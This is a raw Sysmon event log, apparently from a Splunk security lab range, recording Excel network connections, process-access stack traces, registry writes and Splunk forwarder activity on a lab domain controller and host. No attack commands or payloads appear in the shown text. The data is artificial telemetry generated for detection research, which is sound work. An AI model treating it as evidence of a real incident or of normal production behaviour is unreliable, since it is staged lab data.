Office\root\Office16\EXCEL.EXE{7BD73061-6D0E-613B-8906-00000000F001}3192C:\Windows\System32\rdpclip.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+52cbf|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+52c5a|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+52bd6|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+5259d|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+5f3b1|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+b0354|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+5b3dd|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+cc39|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000046516Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localContext,DeviceConntectedOrUpdatedSetValue2021-09-10 14:47:35.057{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Office\Common\Smart Tag\Applications\XLMAIN\FriendlyNameMicrosoft Excel 23542300x800000000000000046515Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:35.041{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ECDED04A3C81C440BA73A7930D99D491,SHA256=F2C98FFC9A5F45AC530DDD25DE0AE37FAA7A4099659FAFE1A59486CADF8F790A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000046514Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:35.025{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=95CF2F960EFB42E06AE8F44247ABB447,SHA256=F0A3B781239F0DEF1D8D09C49D213FAC1091FE61B7EDEBA3DB34AB13D3F811FA,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000014427Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:35.100{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=92CD496D96EFB4990CD306429DFA70B2,SHA256=BE3E87417B1AB3A7B54F517EDF369EDCB9C1CC413195D9EB2C80C26102AD7963,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014471Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:36.507{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FCEB5D173B2A0157A55A69557BF7B413,SHA256=9B92BB35E184CC049985FED6E7C016148E31D7CA7D305E8583F520648E709C5E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014470Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:36.507{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=4400F3054E391E88E99F5F64659A24E8,SHA256=E26B922489FD2EFC53C1DF24293D468FAD69553AB87AAA098F040A0F03E5A785,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000014469Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:36.366{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7008-613B-AF04-00000000F101}1112C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014468Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:36.366{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014467Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:36.366{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014466Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:36.366{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014465Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:36.366{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014464Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:36.366{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014463Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:36.366{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014462Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:36.366{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014461Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:36.366{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014460Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:36.366{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-7008-613B-AF04-00000000F101}1112C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014459Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:36.366{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014458Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:36.366{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7008-613B-AF04-00000000F101}1112C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014457Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:36.367{625C326B-7008-613B-AF04-00000000F101}1112C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000046584Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:36.994{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=4BD019213C9FE5921AB6AF6647028361,SHA256=88EB3483A9E56C24012F0F49DFCA0CF7D5F9A80C2517DFA1F6F38C44569D01C2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000046583Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:36.885{7BD73061-6D0F-613B-9406-00000000F001}44803136C:\Windows\Explorer.EXE{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62967|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046582Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:36.869{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62390|C:\Windows\System32\TwinUI.dll+f54e1|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046581Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:36.869{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\TwinUI.dll+f5319|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000046580Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.705{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local65535- 354300x800000000000000046579Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.475{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59323-false2.18.213.75a2-18-213-75.deploy.static.akamaitechnologies.com443https 354300x800000000000000046578Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.475{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59324-false2.18.213.75a2-18-213-75.deploy.static.akamaitechnologies.com443https 354300x800000000000000046577Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.475{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59322-false2.18.213.75a2-18-213-75.deploy.static.akamaitechnologies.com443https 354300x800000000000000046576Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.475{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59321-false2.18.213.75a2-18-213-75.deploy.static.akamaitechnologies.com443https 354300x800000000000000046575Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.474{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59320-false2.18.213.75a2-18-213-75.deploy.static.akamaitechnologies.com443https 354300x800000000000000046574Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.470{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local62047- 354300x800000000000000046573Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.379{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsefalse10.0.1.14win-dc-387.attackrange.local59319-false10.0.1.14win-dc-387.attackrange.local3268msft-gc 354300x800000000000000046572Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.379{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59319-false10.0.1.14win-dc-387.attackrange.local3268msft-gc 354300x800000000000000046571Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.354{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59318-false52.97.233.82-443https 354300x800000000000000046570Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.344{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local57576- 354300x800000000000000046569Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.176{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59317-false2.16.218.40a2-16-218-40.deploy.static.akamaitechnologies.com443https 354300x800000000000000046568Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.176{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59316-false2.16.218.40a2-16-218-40.deploy.static.akamaitechnologies.com443https 23542300x800000000000000046567Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:36.088{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9B86BE9E500972D534667782D73718A0,SHA256=7801D573509B92BEC25E2A390786BFE60071F2E18D3CC8FF13B55744824F5592,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000014473Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:37.444{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=CCDB59373E6BFA0F3A3EF41EE50DFADB,SHA256=232B2CEEE23D5E075884E0BD3EC0041FAEBB2BEA62003C6EEEAD3A8E068BDEDD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014472Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:37.397{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=15519BAC8BFBE20D500EECABB31CA3C2,SHA256=E1FB71D16D8B53B12190A5FFB6A13C838AAB4D4909EC400CDE07AD6194DA614A,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046609Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:37.869{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.d